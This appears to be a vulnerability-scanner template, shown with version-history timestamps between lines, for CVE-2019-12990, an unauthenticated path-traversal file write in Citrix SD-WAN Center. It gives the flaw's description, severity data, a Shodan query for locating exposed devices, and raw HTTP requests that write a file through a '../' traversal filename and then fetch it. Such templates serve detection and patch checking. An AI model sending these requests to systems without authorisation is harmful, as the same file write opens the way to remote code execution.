2022-07-31 00:16:07 +00:00
id : CVE-2019-12990
info :
2023-04-12 18:06:25 +00:00
name : Citrix SD-WAN Center - Local File Inclusion
2022-07-31 00:16:07 +00:00
author : gy741
severity : critical
description : |
2023-04-12 18:06:25 +00:00
Citrix SD-WAN Center is susceptible to local file inclusion via the applianceSettingsFileTransfer function in ApplianceSettingsController. The function does not sufficiently validate or sanitize HTTP request parameter values used to construct a file system path. An attacker can trigger this vulnerability by routing traffic through the Collector controller and supplying a crafted value for filename, filedata, and workspace_id, therefore being able to write files to locations writable by the www-data user and/or to write a crafted PHP file to /home/talariuser/www/app/webroot/files/ to execute arbitrary PHP code.
2022-07-31 00:16:07 +00:00
reference :
- https://www.tenable.com/security/research/tra-2019-31
2023-03-31 07:11:11 +00:00
- https://support.citrix.com/search?searchQuery=*&lang=en&sort=relevance&prod=&pver=&ct=Security+Bulletin
2023-04-12 18:06:25 +00:00
- https://nvd.nist.gov/vuln/detail/CVE-2019-12990
2022-07-31 00:16:07 +00:00
classification :
2023-03-31 07:11:11 +00:00
cvss-metrics : CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
2022-07-31 00:16:07 +00:00
cvss-score : 9.8
cve-id : CVE-2019-12990
cwe-id : CWE-22
2023-07-11 19:49:27 +00:00
epss-score : 0.95724
cpe : cpe:2.3:a:citrix:netscaler_sd-wan:*:*:*:*:*:*:*:*
2023-08-31 11:46:18 +00:00
epss-percentile : 0.99172
2023-03-29 06:24:45 +00:00
metadata :
2023-04-28 08:11:21 +00:00
max-request : 3
2023-03-29 06:24:45 +00:00
shodan-query : http.title:"Citrix SD-WAN"
2023-07-11 19:49:27 +00:00
vendor : citrix
product : netscaler_sd-wan
tags : cve,cve2019,citrix,rce,unauth,tenable,intrusive
2022-07-31 00:16:07 +00:00
2023-04-27 04:28:59 +00:00
http :
2022-07-31 00:16:07 +00:00
- raw :
2023-03-29 06:24:45 +00:00
- |
GET /login HTTP/1.1
Host : {{Hostname}}
2022-07-31 00:16:07 +00:00
- |
POST /Collector/appliancesettings/applianceSettingsFileTransfer HTTP/1.1
Host : {{Hostname}}
Content-Type : application/x-www-form-urlencoded
filename=../../../../../../home/talariuser/www/app/webroot/files/{{randstr}}&filedata=
2023-03-29 06:24:45 +00:00
- |
2022-07-31 00:16:07 +00:00
GET /talari/app/files/{{randstr}} HTTP/1.1
Host : {{Hostname}}
Accept : */*
matchers :
2023-03-29 06:24:45 +00:00
- type : dsl
dsl :
2023-07-11 19:49:27 +00:00
- contains(header, "text/html")
- status_code_3 == 200
- contains(body_1, "<title>Citrix SD-WAN</title>")
2023-03-29 06:24:45 +00:00
condition : and